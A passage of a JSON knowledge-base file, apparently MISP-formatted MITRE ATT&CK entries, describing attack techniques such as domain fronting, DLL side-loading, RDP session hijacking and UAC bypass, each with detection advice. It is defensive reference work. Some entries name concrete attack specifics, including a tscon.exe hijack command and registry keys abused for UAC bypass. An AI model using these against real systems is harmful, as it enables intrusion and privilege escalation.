"04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf" - }, - { - "description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.\n\nDetection: If SSL inspection is in place, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: SSL/TLS inspection\n\nRequires Network: Yes", - "value": "Domain Fronting - T1172", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1172", - "http://www.icir.org/vern/papers/meek-PETS-2015.pdf" - ], - "mitre_data_sources": [ - "SSL/TLS inspection" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "1ce03c65-5946-4ac9-9d4d-66db87e024bd" - }, - { - "description": "As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.\n\nDetection: Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.\n\nPlatforms: macOS\n\nData Sources: Binary file metadata, Malware reverse engineering, Process Monitoring\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator", - "value": "LC_MAIN Hijacking - T1149", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1149", - "https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" - ], - "mitre_data_sources": [ - "Binary file metadata", - "Malware reverse engineering", - "Process Monitoring" - ], - "mitre_platforms": [ - "macOS" - ] - }, - "uuid": "a0a189c8-d3bd-4991-bf6f-153d185ee373" - }, - { - "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\nDetection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Casey Smith, Travis Smith, Tripwire", - "value": "InstallUtil - T1118", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1118", - "https://msdn.microsoft.com/en-us/library/50614e95.aspx" - ], - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "f792d02f-813d-402b-86a5-ab98cb391d3b" - }, - { - "description": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Process monitoring, Network protocol analysis\n\nRequires Network: Yes", - "value": "Data Obfuscation - T1001", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1001", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "mitre_data_sources": [ - "Packet capture", - "Process use of network", - "Process monitoring", - "Network protocol analysis" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842" - }, - { - "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.\n\nDetection: Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nContributors: Travis Smith, Tripwire", - "value": "Shortcut Modification - T1023", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1023" - ], - "mitre_data_sources": [ - "File monitoring", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810" - }, - { - "description": "Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).\n\nDetection: Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: User, Administrator", - "value": "Launch Agent - T1159", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1159", - "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", - "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", - "https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf", - "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", - "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update", - "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" - ], - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring" - ], - "mitre_platforms": [ - "macOS" - ] - }, - "uuid": "dd901512-6e37-4155-943b-453e3777b125" - }, - { - "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system. This is common behavior that can be used across different platforms to evade defenses. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis)\n\nDetection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Process use of network, Binary file metadata, File monitoring, Malware reverse engineering\n\nDefense Bypassed: Host forensic analysis, Signature-based detection, Host intrusion prevention systems", - "value": "Obfuscated Files or Information - T1027", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1027", - "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/" - ], - "mitre_data_sources": [ - "Network protocol analysis", - "Process use of network", - "Binary file metadata", - "File monitoring", - "Malware reverse engineering" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" - }, - { - "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, File monitoring, API monitoring\n\nPermissions Required: User", - "value": "Video Capture - T1125", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1125" - ], - "mitre_data_sources": [ - "Process monitoring", - "File monitoring", - "API monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf" - }, - { - "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.\n\nOne variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs. This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\n\n===Windows===\nIn another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)\n\nAn example of abuse of trusted locations in Windows would be the C:\\Windows\\System32 directory. Examples of trusted binary names that can be given to malicious binares include \"explorer.exe\" and \"svchost.exe\".\n\n===Linux===\nAnother variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten)\n\nAn example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binares include \"rsyncd\" and \"dbus-inotifier\". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis)\n\nDetection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Binary file metadata\n\nDefense Bypassed: Whitelisting by file name or path\n\nContributors: ENDGAME, Bartosz Jerzman", - "value": "Masquerading - T1036", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1036", - "https://www.endgame.com/blog/how-hunt-masquerade-ball", - "https://www.f-secure.com/documents/996508/1030745/CozyDuke", - "https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/", - "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/", - "https://vms.drweb.com/virus/?i=4276269" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Binary file metadata" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "42e8de7b-37b2-4258-905a-6897815e58e0" - }, - { - "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.\n\nDetection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nPlatforms: Windows\n\nData Sources: Process use of network, Process monitoring, Loaded DLLs\n\nDefense Bypassed: Anti-virus, Process whitelisting", - "value": "DLL Side-Loading - T1073", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1073", - "https://msdn.microsoft.com/en-us/library/aa375365", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf" - ], - "mitre_data_sources": [ - "Process use of network", - "Process monitoring", - "Loaded DLLs" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "b2001907-166b-4d71-bb3c-9d26c871de09" - }, - { - "description": "Data, such as sensitive documents, may be exfiltrated through the use of automated processing or Scripting after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process use of network\n\nRequires Network: Yes", - "value": "Automated Exfiltration - T1020", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1020" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process use of network" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9" - }, - { - "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process use of network\n\nPermissions Required: User, Administrator, SYSTEM", - "value": "Network Service Scanning - T1046", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1046" - ], - "mitre_data_sources": [ - "Netflow/Enclave netflow", - "Network protocol analysis", - "Packet capture", - "Process command-line parameters", - "Process use of network" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88" - }, - { - "description": "Adversaries may move to additional systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into another system and executes. This may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system.\n\nDetection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Removable media allowed, Autorun enabled or vulnerability present that allows for code execution", - "value": "Replication Through Removable Media - T1091", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1091" - ], - "mitre_data_sources": [ - "File monitoring", - "Data loss prevention" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4" - }, - { - "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\\windows\\system32\\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)\n\nDetection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nAlso, set up process monitoring for tscon.exe usage and monitor service creation that uses cmd.exe /k or cmd.exe /c in its arguments to prevent RDP session hijacking.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring\n\nPermissions Required: User, Remote Desktop Users\n\nSystem Requirements: RDP service enabled, account in the Remote Desktop Users group.\n\nContributors: Matthew Demaske, Adaptforward", - "value": "Remote Desktop Protocol - T1076", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1076", - "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx", - "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/", - "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", - "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", - "https://github.com/nccgroup/redsnarf" - ], - "mitre_data_sources": [ - "Authentication logs", - "Netflow/Enclave netflow", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "51dea151-0898-4a45-967c-3ebee0420484" - }, - { - "description": "Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes", - "value": "Scheduled Transfer - T1029", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1029" - ], - "mitre_data_sources": [ - "Netflow/Enclave netflow", - "Process use of network", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466" - }, - { - "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)\n\nDetection: There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of Process Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.\n\nPlatforms: Windows\n\nData Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters\n\nEffective Permissions: Administrator\n\nDefense Bypassed: Windows User Account Control\n\nPermissions Required: User, Administrator\n\nContributors: Stefan Kanthak, Casey Smith", - "value": "Bypass User Account Control - T1088", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1088", - "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works", - "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx", - "https://msdn.microsoft.com/en-us/library/ms679687.aspx", - "http://www.pretentiousname.com/misc/win7%20uac%20whitelist2.html", - "https://github.com/hfiref0x/UACME", - "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", - "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware", - "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass", - "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/", - "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/" - ], - "mitre_data_sources": [ - "System calls", - "Process monitoring", - "Authentication logs", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" - }, - { - "description": "===Windows===\n\nWindows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.\n\nIf adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\n\n===Mac===\n\nMac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.\n\nDetection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.\n\nPlatforms: macOS, Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Write access to system or domain logon scripts", - "value": "Logon Scripts - T1037", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1037", - "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx", - "https://support.apple.com/de-at/HT2420" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "macOS", - "Windows" - ] - }, - "uuid": "03259939-0b57-482f-8eb5-87c0e0d54334" - }, - { - "description": "A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools)\n\nThe definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.\n\nThe network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture\n\nRequires Network: Yes\n\nContributors: Walker Johnson", - "value": "Connection Proxy - T1090", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1090", - "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "mitre_data_sources": [ - "Process use of network", - "Process monitoring", - "Netflow/Enclave netflow", - "Packet capture" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea" - }, - { - "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique has been used in campaigns targeting governments. (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nDetection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process monitoring, Process command-line parameters, Windows Registry\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith", - "value": "Regsvr32 - T1117", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1117", - "https://support.microsoft.com/en-us/kb/249873", - 